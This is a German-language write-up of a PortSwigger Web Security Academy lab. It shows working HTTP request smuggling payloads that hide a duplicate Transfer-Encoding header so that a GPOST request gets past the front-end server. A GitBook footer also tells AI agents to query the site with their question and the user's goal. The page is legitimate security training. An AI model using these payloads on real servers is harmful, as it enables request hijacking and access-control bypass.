> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/request-smuggling/http-request-smuggling-by-hiding-the-te-header.md).

# HTTP-Request-Smuggling durch Verstecken des TE-Headers

### HTTP-Request-Smuggling, das TE-Header verschleiern

Dieses Labor verfügt über einen Frontend-Server und einen internen Server. Beide behandeln doppelte HTTP-Header nicht auf die gleiche Weise. Der Frontend-Server lehnt jede Anfrage ab, deren Methode nicht **GET** oder **POST**.

Das Ziel ist es, **eine eingeschleuste Anfrage an den Backend-Server weitergeben** sodass **die folgende Anfrage** vom Server interpretiert wird, verwendet die **GPOST** Methode verwendet.

**Hinweis:**/ Auch wenn das Labor HTTP/2 unterstützt, basiert die Lösung auf Techniken, die nur in **HTTP/1** funktionieren, das in Burp Repeater manuell ausgewählt werden muss.

**Tipp:**/ Die Längenfelder sind heikel, wenn sie manuell angepasst werden. Die Erweiterung HTTP Request Smuggler aus dem BApp Store vereinfacht diese Arbeit.

#### **Verhaltensanalyse: Das Frontend bevorzugt Content-Length**

Beispiel für eine Anfrage, bei der das Frontend **CL**:

```http
POST / HTTP/1.1
Host: 0ab600cd04107fa3802667e700ac00e7.web-security-academy.net
Transfer-Encoding: chunked
Content-Type: application/x-www-form-urlencoded
Content-Length: 13

3
abc
X


```

<figure><img src="/files/04ef8b18daa3dff9d50f98e77801b8b72e16601f" alt=""><figcaption></figcaption></figure>

Hier verhindert das Ende des Chunks (`X` anstelle von `0`) eine korrekte Interpretation.

#### **Eingeschleuster Injection-Versuch**

Eine so gesendete Anfrage wird nicht wie beabsichtigt interpretiert:

```http
POST / HTTP/1.1
Host: 0ab600cd04107fa3802667e700ac00e7.web-security-academy.net
Transfer-Encoding: chunked
Connection: keep-alive
Transfer-Encoding: chunked
Content-Type: application/x-www-form-urlencoded
Content-Length: 4

72
GPOST / HTTP/1.1
Host: 0ab600cd04107fa3802667e700ac00e7.web-security-academy.net
Content-Length: 20

test=test
0


```

Das Verhalten des Frontends verhindert hier die gewünschte Interpretation.

#### **Bypass: Das Haupt-Transfer-Encoding verbergen**

Um den Mechanismus zu umgehen, platzieren Sie ein **ungültiges** Wert im ersten `Transfer-Encoding` Header, sodass:

* das **Frontend** ignoriert es aufgrund seines falschen Werts,
* aber der **Backend** behält den `Transfer-Encoding: chunked` Header gültig.

Funktionierendes Beispiel:

```http
Transfer-Encoding: chunked
Transfer-Encoding: wdwd
```

```http
POST / HTTP/1.1
Host: 0ab600cd04107fa3802667e700ac00e7.web-security-academy.net
Content-Length: 4
Connection: keep-alive
Transfer-Encoding: chunked
Transfer-Encoding: wdwd
Content-Type: application/x-www-form-urlencoded

72
GPOST / HTTP/1.1
Host: 0ab600cd04107fa3802667e700ac00e7.web-security-academy.net
Content-Length: 20

test=test
0


```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/web/request-smuggling/http-request-smuggling-by-hiding-the-te-header.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
